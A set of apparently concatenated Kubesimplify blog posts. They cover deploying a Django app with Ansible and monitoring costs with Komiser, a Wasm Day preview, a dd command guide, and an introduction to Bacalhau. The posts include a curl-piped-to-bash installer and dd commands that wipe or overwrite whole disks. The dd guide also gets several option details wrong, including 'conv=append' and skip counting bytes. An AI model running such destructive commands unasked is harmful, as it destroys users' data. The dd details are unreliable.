        ```
        
    2. **Running Docker Compose to start the application container.**
        
        Here, we are executing some shell commands using the built-in `ansible.builtin.command` module:
        
        * Changing the current directory to where the `Dockerfile` and `docker-compose.yaml` are located.
            
        * Executing the following command to start our Django app container:
            
            ```bash
            sudo docker compose -f docker-compose.yml up -d
            ```
            

Now, you can use the following command to execute the playbook:

```bash
ansible-playbook -i inventory.yaml playbook.yaml
```

As the tasks are being executed, you can view the terminal output which may look something like the below:

![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/46b728a3-784b-4ad8-8d7f-989372100ad4.png align="center")

If everything goes well as planned, our application has been deployed on our EC2 instance and you’ll be able to access the web browser using either of these two methods:

* [`http://INSTANCE_IP:8000`](http://INSTANCE_IP:8000)
    
* Elastic Load Balancer Domain (which we already provisioned above)
    

> Note:
> 
> In case you face any issues/errors in this step, you can access the application container logs, by connecting to the EC2 instance using `ssh`:
> 
> ```bash
> ssh -i private_ssh_file ubuntu@IP_ADDRESS
> ```
> 
> ![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/43a07339-b0d3-40db-b320-ab5753390262.png align="center")

**Congratulations 🎉 you have successfully deployed the Django application on the remote server, using Ansible!**

# A Spotlight on Komiser

If we take a look at the definition from the [official documentation](https://docs.komiser.io/welcome/overview):

> Komiser is an **open-source cloud-agnostic resource manager**, that integrates with **multiple cloud providers** (including [AWS](https://docs.komiser.io/configuration/cloud-providers/aws), [Azure](https://docs.komiser.io/configuration/cloud-providers/azure), [GCP](https://docs.komiser.io/configuration/cloud-providers/gcp), [Civo](https://docs.komiser.io/configuration/cloud-providers/civo), [Digital Ocean](https://docs.komiser.io/configuration/cloud-providers/digital-ocean), [Kubernetes](https://docs.komiser.io/configuration/cloud-providers/k8s), [OCI](https://docs.komiser.io/configuration/cloud-providers/oci), [Linode](https://docs.komiser.io/configuration/cloud-providers/linode), [Tencent](https://docs.komiser.io/configuration/cloud-providers/tencent) and [Scaleway](https://docs.komiser.io/configuration/cloud-providers/scaleway)), builds a cloud asset inventory, and helps you break down your cost at the resource level.

In simple terms, it's a tool that keeps an eagle eye on your cloud resources, helping you understand and optimize your overall cloud costs.

## Highlighting some Key Features

Komiser brings a set of powerful features to the table:

* **Multi-Cloud Support**: It works seamlessly with various cloud providers like AWS, Azure, Google Cloud and more. You can manage your resources across different clouds from a single place.
    
* **Comprehensive Resource Data**: Komiser collects detailed information about your cloud resources. You can track everything from virtual machines and databases to storage and networking.
    
* **Cost Transparency**: It provides deep insights into resource consumption and expenditure. You'll know exactly where your money is going and where you can save.
    
* **Customizable Dashboards**: One of my favorites is the fact that Komiser offers a customizable dashboard, so you can tailor the information you want to see. It's like having your own **“cloud financial control center”!**
    

## How Komiser is Solving the Cloud Cost Problem?

Here's the **magic** of using a tool like Komiser!

Komiser will help you **monitor** and **manage** your cloud resources efficiently. Whether you're running a **small application** (such as a Django ToDo list in our case) or a **complex infrastructure**, Komiser will simplify the process of controlling your cloud spending.

It's not just about **cost-cutting**, but about being **cost-intelligent**. By understanding your cloud costs better, you can make **smarter decisions** to **maximize your cloud investment!**

Now that we have an idea of what is Komiser, let us see how we can implement this to monitor our cloud resources, provisioned on AWS.

# Step 4: Configuring Komiser

To use Komiser with our provisioned cloud infrastructure on AWS, we first need to authenticate our AWS account with Komiser.

For this purpose, Komiser uses a `config.toml` file where we’ll provide the necessary cloud provider account configuration, in this case for AWS.

Create a new `config.toml` file in your working directory and use the following code snippet:

```ini
[[aws]]
name="Django-Komiser Project"
source="CREDENTIALS_FILE"
path="./path/to/credentials/file"
profile="Admin-User"

[sqlite]
file = "komiser.db"
```

Explanation:

* `name` - a custom name we wish to give for the account
    
* `source` - defines the type of **authentication method** we wish to choose. There are mainly two methods to feed cloud provider credentials to Komiser:
    
    1. Using environment variables:
        
        ```toml
        source="ENVIRONMENT_VARIABLES"
        ```
        
    2. Using a credentials file:
        
        ```toml
        source="CREDENTIALS_FILE"
        ```
        
    
    Here, we are using a **credentials file**.
    
    * `path` - specifying the path to the AWS credentials file.
        
    * `profile` - specifying the AWS account profile to use with Komiser.
        
    * For persisting the AWS account data, we are using a simple `SQLite` file called `komiser.db`, which is one of the [two methods to persist data in Komiser](https://docs.komiser.io/configuration/cloud-providers/aws#data-persistence).
        

> Note:
> 
> It is not recommended to add your AWS Access and Secret Access keys in the credentials file when working in a production environment. The most secure way of authentication is by using **temporary credentials through IAM roles**.
> 
> To learn more, refer to the [documentation](https://docs.komiser.io/configuration/cloud-providers/aws#credentials-file).

Now that we have configured our AWS account credential with Komiser, we can start the local Komiser instance using the following command:

```bash
komiser start --config config.toml
```

As we execute this, Komiser engine will start generating the following output continuously:

![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/d2668106-1d27-413e-aba4-d54033e599f8.png align="center")

You'll now be able to access the Komiser dashboard at [http://localhost:3000](http://localhost:3000)

![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/24bd8169-a6fa-4a2a-b6b7-a14474ce2bbd.png align="center")

**Congratulations 🎉 you have successfully configured and authenticated Komiser to monitor the resources in your AWS account!**

# **Step 5: Fine-Tuning Resource Monitoring with Tags**

You can now have a **detailed view** of all the **active AWS resources** in your account by heading over to the **Inventory** section, as shown below:

![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/d383e196-b438-48a8-9152-a7f1d12dc20f.png align="center")

**This is where things get a little bit more interesting!**

While provisioning the cloud infrastructure using Terraform, we tagged all the resources associated with our Django application as shown below:

```bash
tags = {
    Name = "komiser-django-app"
  }
```

Now, **we can filter out the specific cloud resources/services associated with our Django application using this tag name in Komiser 😮**

Go ahead and add a new filter in the **Inventory** section using the following configuration:

* **Key name** - `Name`
    
* **Key value** - `komiser-django-app`
    

When applied, this will filter out and display only the cloud resources associated with our Django application, as shown below:

![](/img/blog/tutorial-build-a-cloud-cost-monitoring-system-with-terraform-ansible-and-komiser/b084524e-1271-497e-8326-48ad27e697fa.png align="center")

So, now we know the exact number of cloud resources our Django application depends upon which is `11` in this case and the cloud costs for each resource are being constantly monitored by Komiser!

With this, we have successfully built a Cloud Cost Monitoring system for our simple Django ToDo list application using Komiser. **Congratulations on making it this far 🎉**

# Conclusion

In this article, we embarked on a journey to explore the realm of cloud cost management with Komiser.

We began by laying the foundation, **understanding project architecture**, and covering essential **prerequisites**. Configuring our simple Django ToDo list application from **testing to containerization**, we dove into provisioning our cloud infrastructure using **Terraform** and then, remotely **deploying our application** with the **Ansible playbook**.

As we shed some light on Komiser, we learned about its **unique features** and how it effectively **addresses the cloud cost challenges**. At last, we configured Komiser to continuously monitor our AWS resources, associated with our application.

This tutorial equips you with the knowledge and tools to make informed decisions while driving cost savings in your cloud infrastructure.

Remember, Komiser is your trusted companion in maintaining cost efficiency across your cloud environment. **The possibilities are endless, and the savings are real – thanks to the power of Komiser.**

# Additional Resources

Here are a list of some additional resources for your reference:

* [Source Code](https://github.com/kubesimplify/cloudnative-lab/tree/main/projects/ep-cloud-cost-monitoring) for the project.
    
* [Monitoring a Next.js Application with Komiser](https://www.tailwarden.com/blog/monitoring-cloud-costs-and-usage-of-a-next-js-application-with-komiser)
    
* [How to practice FinOps with Komiser](https://www.tailwarden.com/blog/how-to-practice-finops-with-komiser)
    

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify) and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Get Ready for Wasm Day at Kubecon NA 2023!

- Canonical: https://blog.kubesimplify.com/ready-for-wasm-day-2023
- Published: 2023-10-28

We're all gearing up for Wasm Day at Kubecon NA in Chicago, IL on November 6th, 2023! Wasm Day is a full day dedicated to all things WebAssembly, where like-minded wasm wizards gather to discuss, explore, and push the boundaries of this amazing technology. Whether you're a seasoned wasm expert or just dipping your toes into the wasm waters, this article aims to prepare and excite you for Wasm Day!

Not only will there be leading experts and enthusiasts from around the globe to share knowledge with, but also you'll be able to try out the latest and greatest wasm demos, build your own Wasm projects, and learn how to use the new Web Assembly Studio tooling. [Check out the full Wasm Day schedule here](https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/co-located-events/cloud-native-wasm-day/).

%[https://events.linuxfoundation.org/kubecon-cloudnativecon-north-america/co-located-events/cloud-native-wasm-day/] 

---

## What is Wasm?

This versatile technology is revolutionizing the way we write and run code, offering lightning-fast performance, cross-language compatibility, and so much more! At its core, wasm is a low-level bytecode format that serves as a universal binary instruction set for web browsers and cloud-native web apps. In simple terms, it's a way to write high-performance code in programming languages like C++, Rust, or even Python, and run it directly in the browser or runtime environment at near-native speeds. This means that you can write complex applications with low overhead, fast load times, and high performance.

Wasm is a compact binary instruction format for compiling code to a portable target. This compiled binary, called a "module", can run in any place that includes a Wasm runtime. By design, these modules run in a sandboxed environment. They only have access to its memory and the resources granted by the runtime.

In the context of Kubernetes, Wasm is particularly useful for running serverless applications. Serverless applications are event-driven and automatically scale in response to demand. Traditionally, serverless applications have been written using runtime-specific frameworks or languages, which limit portability and require developers to learn multiple programming environments. Wasm solves this problem by providing a platform-agnostic runtime environment for serverless applications, enabling developers to write code in any language and execute it within a Wasm runtime. Before you come to Wasm day, I would check out this article that provides more detail on how [*Kubernetes and Wasm are better together*](https://www.cncf.io/blog/2022/11/17/better-together-a-kubernetes-and-wasm-case-study/).

To run Wasm applications in Kubernetes, several components are needed, so I highly encourage you to check out [*WebAssembly on Kubernetes: everything you need to know by Nigel Poulton*](https://nigelpoulton.com/webassembly-on-kubernetes-everything-you-need-to-know/)*.*

%[https://nigelpoulton.com/webassembly-on-kubernetes-everything-you-need-to-know/] 

---

## WasmCon 2023

Did you miss out on the latest WasmCon event in September? No worries, because I've got all the highlights right here for you! Developers at the event talked about the many benefits of using WebAssembly, such as improved performance, portability, and security. They also shared exciting updates on projects like Wasi, which is helping to make it easier to run WebAssembly code outside of the browser.

[Christoph Voigt](https://christophvoigt.com) gave an excellent racap of the event, including his list of top talks from the event. [Check it out here](https://christophvoigt.com/posts/wasmcon-2023-recap/).

Additionally, at WasmCon, [Angel M De Miguel Meana of VMware](https://www.linkedin.com/in/angelmmiguel/) and [Justin Cormack of Docker](https://www.linkedin.com/in/justincormack) gave a great talk called "[*Develop Wasm Applications with Docker*](https://youtu.be/xPO3-TOZxW0?si=qoIcleGwhq94LeQH)". In this talk, they explore how containers and WebAssembly can work together to unlock the potential of both technologies. By watching this, you will learn how to mix and match containers and Wasm modules and the benefits of doing so. You will learn how to run your first projects using your favorite language with WebAssembly. [Watch this talk here](https://youtu.be/xPO3-TOZxW0?si=qoIcleGwhq94LeQH).

%[https://youtu.be/xPO3-TOZxW0?si=qoIcleGwhq94LeQH] 

By far, the most viewed talk at WasmCon was by [Luke Wagner, Distinguished Engineer at Fastly](https://github.com/lukewagner) called "[*What is a Component (and Why?)*](https://youtu.be/tAACYA1Mwv4?si=z3ROX0uIB2wgkTno)". In this talk, Luke defines what a component is, how it relates to other things we're familiar with, and what sorts of new powers components unlock for us in the future. [Watch it here](https://youtu.be/tAACYA1Mwv4?si=z3ROX0uIB2wgkTno). Luke's talk also includes a live demo of a component-based web app that uses React and Redux.

%[https://youtu.be/tAACYA1Mwv4?si=z3ROX0uIB2wgkTno] 

---

## Top 10 Wasm Resources

In rapid-fire fashion, I will now present the top 10 resources to help you become a wasm wizard in no time, and get hands-on and involved with the WebAssembly community:

1. **MDN Web Docs** 📚: A comprehensive guide from the Mozilla Developer Network, covering everything wasm-related. This is your go-to resource for getting started.
    
    %[https://developer.mozilla.org/en-US/docs/WebAssembly] 
    
2. **WebAssembly Weekly** 📰: Stay up to date with the latest news, tutorials, and projects surrounding wasm with this awesome newsletter.
    
    %[https://wasmweekly.news] 
    
3. **WebAssembly.org** 🏗️: Find resources to contribute and collaborate with others. Find the official newsletter or join the Discord!  
    [webassembly.org](https://webassembly.org/community/resources/)
    
4. **Rust and WebAssembly** 🦀🕸️: Dive into the world of wasm with Rust, a modern systems programming language known for its low-level control and safety features. This book by Mozilla will have you feeling like a wasm pro in no time.  
    [The Rust and WebAssembly Book](https://github.com/rustwasm/book)
    
5. **A WebAssembly Collection** 🚂: Resources from the Chrome team, to help you on your WebAssembly journey, including WebAssembly in practice and case studies!  
    [WebAssembly Resources from the Chrome Team](https://web.dev/explore/webassembly)
    
6. **WebAssembly by Example** ✍️: Learn by doing! This collection of hands-on projects, complete with code samples, will help you master the art of wasm through practical application.  
    [Wasm By Example](https://wasmbyexample.dev/)
    
7. **WebAssembly in Action** 🎬: This book is like a blockbuster movie for developers, blending theory with real-world examples to deepen your understanding of wasm.  
    [WebAssembly in Action Book](https://www.manning.com/books/webassembly-in-action)
    
8. **WebAssembly Awesome List** 📜: A curated list of awesome resources, libraries, and frameworks for wasm. If you're looking for inspiration or specific tools, this is the place to be.
    
    [Awesome Wasm](https://github.com/mbasso/awesome-wasm)
    
9. **Made by WebAssembly** 🥳: Want to see what projects are made with wasm? Explore a collection of wasm-powered projects on this website and marvel at the possibilities!  
    [Made with WebAssembly](https://madewithwebassembly.com)
    
10. **WebAssembly Design** ⭐️: contains documents describing the design and a high-level overview of WebAssembly. The documents and discussions in this repository are part of the [WebAssembly Community Group](https://www.w3.org/community/webassembly/).
    

%[https://github.com/WebAssembly/design] 

---

## Bonus

Here are some bonus resources, that will help you understand Wasm use cases that are for cloud-native applications, versus in the browser (and knowing the difference).

### Docker & Wasm - The Powerful Combo

Here's a brief introduction to WASM and a discussion about the latest Docker and WASM integration with the example from the docs on how you can run WASM modules using the Docker desktop:

%[https://youtu.be/9JVV2qrp080?si=wZyB-pK3DN_dvwzd] 

### Let's Learn Cloud Native WebAssembly

Get to know the Suborbital projects, choose a WASM runtime, and view a demo of the "batteries included" framework for building web servers using WebAssembly:

%[https://www.youtube.com/live/4KP5_fXlqDE?si=ktIFg2CQ4LTGTSnd] 

---

## Summary

Now that we know what the Wasm use cases are, have a recap of WasmCon, and have the top 10 list of resources to get involved and deep dive into learning, I know that you'll be prepared for Wasm Day at KubeCon 2023 NA in Chicago. I can't wait to see you there!

---

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# The Complete Guide to the dd Command in Linux

- Canonical: https://blog.kubesimplify.com/the-complete-guide-to-the-dd-command-in-linux
- Published: 2023-08-02
- Summary: The dd command is an extremely powerful Linux utility. It is commonly referred to as the \"disk destroyer\", “data definition”, “disk dump”

## Introduction

The dd command is an extremely powerful Linux utility. It is commonly referred to as the "disk destroyer", “data definition”, “disk dump”, or "disk duplicator" due to its immense power and ability to directly interact with block devices. In this beginner's guide, we will explore the dd command, its syntax, and various use cases, highlighting its role in file copying, disk partition backup, and restoration, and creating bootable USB drives.

## dd Command Syntax

The syntax of the dd command is simple. It reads from standard input and writes to standard output by default. Here is the basic syntax of the dd command:

```bash
$ dd [OPTION]...
```

It's worth noting that dd deviates from the standard convention of using the `--` or `-` syntax for options, distinguishing it from most Linux shell commands.

## dd command common options

The dd command accepts several options to customize its behavior and achieve specific tasks. Here are some of the most commonly used options:

| Option | Description |
| --- | --- |
| if | Specifies the input file (source). |
| of | Specifies the output file (destination). |
| bs | Defines the block size to read from the input file and write to the output file. |
| count | Specifies the number of blocks to copy. |
| skip | Skips a specific number of blocks or bytes while reading the input file. |
| seek | Skips a specific number of blocks or bytes while writing to the output file. |
| status | Shows the progress of the dd command. |
| conv | Specifies conversion options for the input or output file. |

## 13 Practical examples of the dd command

Now, let's explore some practical examples of using the dd command in various scenarios.

### How to copy files in Linux

To make a simple copy of a file, you can use the dd command with the `if` and `of` options. For example, to copy a file named `source.txt` to a new file named `destination.txt`, run the following command:

```bash
$ dd if=source.txt of=destination.txt
```

This command reads the contents of `source.txt` and writes them to `destination.txt`.

### Prevent overwriting destination file

When using the dd command, if there is already a file with the same name at the destination, it will be replaced by default. This means that the existing file will be overwritten. Use the `conv=notrunc` option to prevent overwriting an existing file while using the dd command. This option ensures that the destination file is not truncated during the write process. For example:

```bash
$ dd if=source.txt of=destination.txt conv=notrunc
```

### Appending Data to a File

In addition to avoiding overwriting, you can also append data to an existing file by using the `conv=append` option. Let's consider an example where we want to append the contents of `users.txt` to `newusers.txt`:

```bash
$ dd if=users.txt of=newusers.txt conv=append
```

With this command, the dd command reads the data from `users.txt` and appends it to the end of `newusers.txt`.

### Converting text case

The dd command can also be used to perform text conversions. For instance, to convert all the text in a file from lowercase to uppercase, use the `conv` option with the `lcase` and `ucase` conversion parameters. Consider the following example:

```bash
$ dd if=lowercase.txt of=uppercase.txt conv=ucase
```

This command reads the contents of `lowercase.txt`, converts all lowercase characters to uppercase, and saves the result in `uppercase.txt`.

Similarly, you can convert text from uppercase to lowercase using the `conv` option with the `ucase` and `lcase` conversion parameters. Here's an example:

```bash
$ dd if=uppercase.txt of=lowercase.txt conv=lcase
```

### Creating a Backup of a Linux Disk Partition

One of the powerful use cases of the dd command is creating backups of disk partitions. This can be particularly useful for system administrators or users who want to preserve the state of their disk partitions. To back up a disk partition, you need to identify the block device associated with the partition, usually represented by a device file in the `/dev` directory.

For example, to back up the first partition of the disk located at `/dev/sda`, you would use the following command:

```bash
$ dd if=/dev/sda1 of=partition_backup.img
```

This command reads the content of `/dev/sda1`, the first partition of the disk, and saves it to a file named `partition_backup.img`.

Once you have a backup of a disk partition, you can use the dd command to restore it when needed. To restore a disk partition, you would reverse the input and output files in the command. Here's an example:

```bash
$ dd if=partition_backup.img of=/dev/sda1
```

This command reads the content from the `partition_backup.img` file and writes it to the `/dev/sda1` partition, effectively restoring the partition to its previous state.

### Creating a Backup of the Entire Linux Hard Drive

In addition to backing up individual partitions, you can use the dd command to create a backup of the entire Linux hard drive. This allows you to capture the complete state of the disk, including all partitions, boot records, and file systems.

To back up the entire hard drive, you would specify the hard drive's block device as the input file. For instance, to back up the hard drive located at `/dev/sda`, run the following command:

```bash
$ dd if=/dev/sda of=hard_drive_backup.img
```

This command reads the entire content of `/dev/sda` and saves it to a file named `hard_drive_backup.img`.

Similarly, you can use the dd command to restore a previously created backup of the entire Linux hard drive. This can be extremely useful in situations where you need to recover the whole system from a backup.

To restore the hard drive, you would reverse the input and output files in the command. For example:

```bash
$ dd if=hard_drive_backup.img of=/dev/sda
```

This command reads the content from the `hard_drive_backup.img` file and writes it back to the `/dev/sda` hard drive, effectively restoring the entire system.

### Creating a Backup of the Master Boot Record

The Master Boot Record (MBR) is a crucial component of a disk that contains the boot loader and partition table. By using the dd command, you can create a backup of the MBR, ensuring that you can recover the boot sector if it gets corrupted or overwritten.

To back up the MBR, you can use the dd command to copy the first 512 bytes of the disk. Here's an example:

```bash
$ dd if=/dev/sda of=mbr_backup.img bs=512 count=1
```

In this command, `if=/dev/sda` specifies the disk from which to read the MBR, `of=mbr_backup.img` specifies the output file to save the backup, `bs=512` sets the block size to 512 bytes (the size of the MBR), and `count=1` specifies that only one block should be copied.

If you need to restore the MBR from a backup, you can use the dd command to write the contents of the backup file back to the disk. Here's an example:

```bash
$ dd if=mbr_backup.img of=/dev/sda bs=512 count=1
```

This command reads the content from the `mbr_backup.img` file and writes it back to the `/dev/sda` disk, effectively restoring the MBR.

### Copying Content from a CD/DVD Drive

The dd command can also be used to create a bit-by-bit copy of a CD or DVD. This can be useful when you want to create an exact replica of the disc, including its file system and bootable properties.

To copy the contents of a CD/DVD drive, you would specify the CD/DVD drive as the input file (`if`) and an output file to save the copy. Here's an example:

```bash
$ dd if=/dev/cdrom of=disk_copy.iso
```

In this command, `/dev/cdrom` represents the CD/DVD drive, and `disk_copy.iso` is the output file where the copied data will be saved.

### Compressing Data Read by dd

As mentioned earlier, one common use of the dd command is disk cloning. By copying block devices byte by byte, dd creates an exact replica of a disk. When cloning a disk to a file, we can enhance the result and reduce the file size by piping the data read by dd through compression utilities like gzip. For example, to create a clone of the entire `/dev/sda` block device, we can execute the following command:

```bash
$ sudo dd if=/dev/sda bs=1M | gzip -c -9 > sda.dd.gz
```

In this example, we specify that dd should read from the `/dev/sda` device and adjust the block size to 1M for improved performance. We then pipe the data to the gzip program, utilizing the `-c` option to output to stdout and the `-9` option for maximum compression. Finally, we redirect the output to the "`sda.dd.gz`" file.

### Skipping Bytes or Characters When Reading the Input File

The dd command provides the `skip` option, which allows you to skip a specific number of bytes or characters while reading the input file. This can be useful when you need to exclude certain parts of the file. Here's an example:

```bash
$ dd if=user.txt of=newusers.txt skip=100
```

In this command, the dd command skips the first 100 bytes of data in `users.txt` and writes the remaining content to `newusers.txt`.

### Wiping a Block Device

Another valuable use case for dd is wiping a device. There are various situations where such an operation becomes necessary, such as preparing a disk for sale to ensure the previous data has been completely erased for privacy reasons or wiping data before setting up encryption. In the former case, overwriting the disk with zeros is sufficient:

```bash
$ sudo dd if=/dev/zero bs=1M of=/dev/sda
```

With this command, dd reads from the `/dev/zero` device, which provides null characters, and writes them to the target device until it is completely filled.

When setting up an encryption layer on our system, it is advisable to fill the disk with random data instead. This step renders the sectors that will contain data indistinguishable from the empty ones, thus preventing potential metadata leaks. In this scenario, we can read data from either the `/dev/random` or `/dev/urandom` devices:

```bash
$ sudo dd if=/dev/urandom bs=1M of=/dev/sda
```

Both commands will require a significant amount of time to complete, depending on the size and type of the block device and the source of random data used. It's worth noting that /dev/random is slower as it blocks until it gathers sufficient environmental noise, but it produces higher-quality random data compared to `/dev/urandom.`

### Creating a Bootable USB Drive

The dd command is widely used for creating bootable USB drives from ISO images. This is particularly useful when installing or booting operating systems or live distributions from a USB device.

To create a bootable USB drive, you would specify the ISO file as the input file (`if`) and the USB drive as the output file (`of`). Here's an example:

```bash
$ dd if=linux_distro.iso of=/dev/sdX bs=4M status=progress
```

In this command, `linux_distro.iso` represents the ISO image of the Linux distribution, `/dev/sdX` is the USB drive (replace `X` with the appropriate drive letter), `bs=4M` sets the block size to 4 megabytes for faster copying, and `status=progress` displays the progress of the dd command.

### Displaying the Progress Bar

By using the `status=progress` option with the dd command, you can display a progress bar that indicates the completion percentage of the ongoing operation. This can be helpful, especially when dealing with large files or lengthy processes.

For example, to copy a file and show the progress bar, use the following command:

```bash
$ dd if=source_file of=destination_file status=progress
```

This command reads the content from the `source_file` and writes it to the `destination_file`, while displaying a progress bar.

## Conclusion

In this tutorial, we learned how to use the dd command. We also covered some practical use cases, such as creating backups and bootable USB sticks, Because dd is a very powerful utility, it must be used with extreme caution: simply switching the input and output targets can, in some cases, destroy data on a disk.

Remember to refer to the official documentation and additional resources to further expand your knowledge and explore advanced usage scenarios.

Be sure to follow us on [Twitter](https://twitter.com/sysxplore) and [Instagram](https://www.instagram.com/sysxplore/).

---

Follow Kubesimplify on [**Hashnode**](https://kubesimplify.com/), [**Twitter**](https://twitter.com/kubesimplify)**,** and [**LinkedIn**](https://www.linkedin.com/company/kubesimplify/). Join our [**Discord**](https://blog.kubesimplify.com/kubesimplify.com/discord) server to learn with us.

---

# Simplified Introduction To Bacalhau

- Canonical: https://blog.kubesimplify.com/simplified-introduction-to-bacalhau
- Published: 2023-07-09
- Summary: Bacalhau is an open-source project wherein the existing workflows can be streamlined without rewriting by running Docker containers and Web Assembly (WASM)

Bacalhau is an open-source project wherein the existing workflows can be streamlined without rewriting by running Docker containers and Web Assembly (WASM) images. This architecture which is referred to as Compute Over Data (CoD) enables users to run compute jobs where the data is generated and stored. Bacalhau platform makes computation secure, fast, and cost-efficient.

The interesting fact is the name “Bacalhau” is derived from the Portuguese word for salted codfish which is a common dish in Portugal.

## Features of Bacalhau:

![](/img/blog/simplified-introduction-to-bacalhau/280fac98-e47d-4df3-a245-2e79b0dcb5f0.png align="center")

1. **Fast job processing**: As Bacalhau supports Docker and WASM, jobs can be easily executed without complex configurations and making any changes to the base code. This helps in orchestrating and distributing workloads easily.
    
2. **Fault Tolerance**: If the node fails, Bacalhau automatically finds another node to run the job successfully. It ensures the job is completed even if there are network disruptions.
    
3. **Low cost**: Bacalhau utilizes idle computing capacity
    
4. **Secure**: Here instead of bringing data over compute, you bring compute over data. This can reduce the leaking of data and more granular permissions to our data.
    
5. **Large-scale data**: Bacalhau can run anywhere from low-power edge devices to the largest VMs. You can batch-process petabytes of data.
    

More info on the project can be found here: [https://github.com/bacalhau-project/bacalhau#why-bacalhau](https://github.com/bacalhau-project/bacalhau#why-bacalhau)

## Architecture

Bacalhau allows decentralized communication as it is a peer-to-peer network of nodes.  
Each node in the network has two components: a requester and compute component.

![](/img/blog/simplified-introduction-to-bacalhau/80104e04-31d3-4742-8643-b1aaef6ae087.png align="center")

* **Requester Component:**
    

The requester node plays a very crucial role in the Bacalhau network as it serves as the main point of contact for the users. It majorly handles requests from users using JSON over HTTP. When a job is submitted to a requester node,

The requester component takes the input of a request, now this request comes from the user via the CLI. Once the request for executing the jobs comes in, the requester node is responsible for broadcasting the job to be executed over the network where all the compute nodes are connected. It is also responsible for effective communication between the nodes on the network.

How this works is that once the job is broadcasted over the network, compute nodes will accept or reject that request. Now, there is only a single requester node for a particular job.

The accepted compute nodes will execute the job and produce a verification proposal, then these proposals will be accepted or rejected, and then the compute nodes will publish the raw results.

* **Compute Component:**
    

![](/img/blog/simplified-introduction-to-bacalhau/4c397b71-f2d7-4b2d-9e5d-aa4b5b866e1f.png align="center")

Compute Node is responsible for executing the jobs and producing the results. Once the bid is made by compute node and accepted by the requester node, the compute node runs the job using executors, each of which has its collection of storage providers. Once the executor executes the job, compute node produces a verification proposal. These proposals will either be rejected or accepted, after which compute node produces its raw results via the publisher interface.

* **Interface**:
    

The interface handles the distribution, execution, storage, verification, and publishing of jobs. The following are the interfaces:

a. **Transport**: The transport interface uses a protocol called **bprotocol** to distribute job messages efficiently to other nodes on the network. It is responsible for sending messages about the jobs that are created and executed to other compute nodes. It ensures that the messages are delivered to the correct node without causing network congestion.

b. **Executor**: The executor is mainly responsible for two actions that are running the job and the other one is to present the storage volumes in a format that is suitable for the executor.  
When the job is completed, the executor will merge the stdout, stderr, and named output volumes into a results folder. This results folder is used to generate a verification proposal that is sent to the requester.

c. **Storage Provide**r: There are multiple execution platforms like Docker and WASM and then the executor will select the appropriate storage provider based on this implementation. So, there will be multiple storage providers present in the network.

d. **Verifier:** It checks the results produced by the executor against results produced by other nodes and transports those results back to the requester node. Both compute and requester node have verifier component. The compute node verifier produces a verification proposal based on having run the job, while the requester node verifier collates the proposals from various compute nodes.

e. **Publisher:** It publishes the final result of a job to a public location where users can access them. The default publisher used is Estuary and if Estuary is used as the publisher, the results will also be stored on Filecoin. The published results are stored with a unique content identifier (CID).

## Installation and Demo

Now that we know what Bacalhau is, and how it works, Let's try to install the CLIand in future blogs, we will start looking into more deep dive demos.

I am using [play with docker](https://labs.play-with-docker.com/) to install bacalhau.

`docker pull` [`ghcr.io/bacalhau-project/bacalhau:latest`](http://ghcr.io/bacalhau-project/bacalhau:latest)

![](/img/blog/simplified-introduction-to-bacalhau/31844556-d82c-400e-9f9e-785e73e1ca2a.png align="center")

`docker run` [`ghcr.io/bacalhau-project/bacalhau:latest`](http://ghcr.io/bacalhau-project/bacalhau:latest)

![](/img/blog/simplified-introduction-to-bacalhau/e8405b5a-2762-4b31-835b-8576e208e883.png align="center")

To verify and check the version of Balcalhau:

`docker run -it` [`ghcr.io/bacalhau-project/bacalhau:latest`](http://ghcr.io/bacalhau-project/bacalhau:latest) `version`

![](/img/blog/simplified-introduction-to-bacalhau/ebf44812-73ae-4476-89c5-b1fbea22400d.png align="center")

You can also do a curl command to download the cli binary and use it.

```bash
curl -sL https://get.bacalhau.org/install.sh | bash
```

Running hello world(as usual, nothing is complete without a hello world)

```bash
docker run -t ghcr.io/bacalhau-project/bacalhau:latest docker run     --id-only     --wait     ubuntu:latest --         sh -c 'uname -a && echo 
"Hello from Saloni Bacalhau!"'
095be3fd-095f-4c55-bacf-19578dc72580
```

As you can see above you have the job ID that will be used to fetch the status, this is actually hitting the public network to execute the job.

Export the Job ID

```bash
export JOB_ID=095be3fd

$ docker run -t ghcr.io/bacalhau-project/bacalhau:latest  list --id-filter ${JOB_ID}
 CREATED   ID        JOB                      STATE      VERIFIED  PUBLISHED               
 18:59:25  095be3fd  Docker ubuntu:latest...  Completed            ipfs://Qmex4tjNsxY8J...
```

so our job has successfully been completed and we need to download the results which we can do by running the bacalhau get command.

```bash
$ bacalhau get $JOB_ID
Fetching results of job '095be3fd'...

Computed default go-libp2p Resource Manager limits based on:
    - 'Swarm.ResourceMgr.MaxMemory': "17 GB"
    - 'Swarm.ResourceMgr.MaxFileDescriptors': 524288

Theses can be inspected with 'ipfs swarm resources'.

2023/07/09 19:17:00 failed to sufficiently increase receive buffer size (was: 208 kiB, wanted: 2048 kiB, got: 416 kiB). See https://github.com/quic-go/quic-go/wiki/UDP-Receive-Buffer-Size for details.
Results for job '095be3fd' have been written to...
/tmp/job-095be3fd
2023/07/09 19:17:01 CleanupManager.fnsMutex violation CRITICAL section took 22.293641ms 22293641 (threshold 10ms)
```

The output has been written to the /tmp directory. Finally, it's time to verify the results.

```bash
cat /tmp/job-095be3fd/stdout 
Linux fadcacb48980 5.19.0-1026-gcp #28~22.04.1-Ubuntu SMP Tue Jun 6 07:24:26 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Hello from Saloni Bacalhau!
```

## Conclusion

In this blog, we learned about the basics of Bacalhau, what the project is all about, and how it works using the decentralized network of compute nodes to execute the jobs and publish the results. In the next part, we will go through a deep dive demo where we will try to execute the Job.

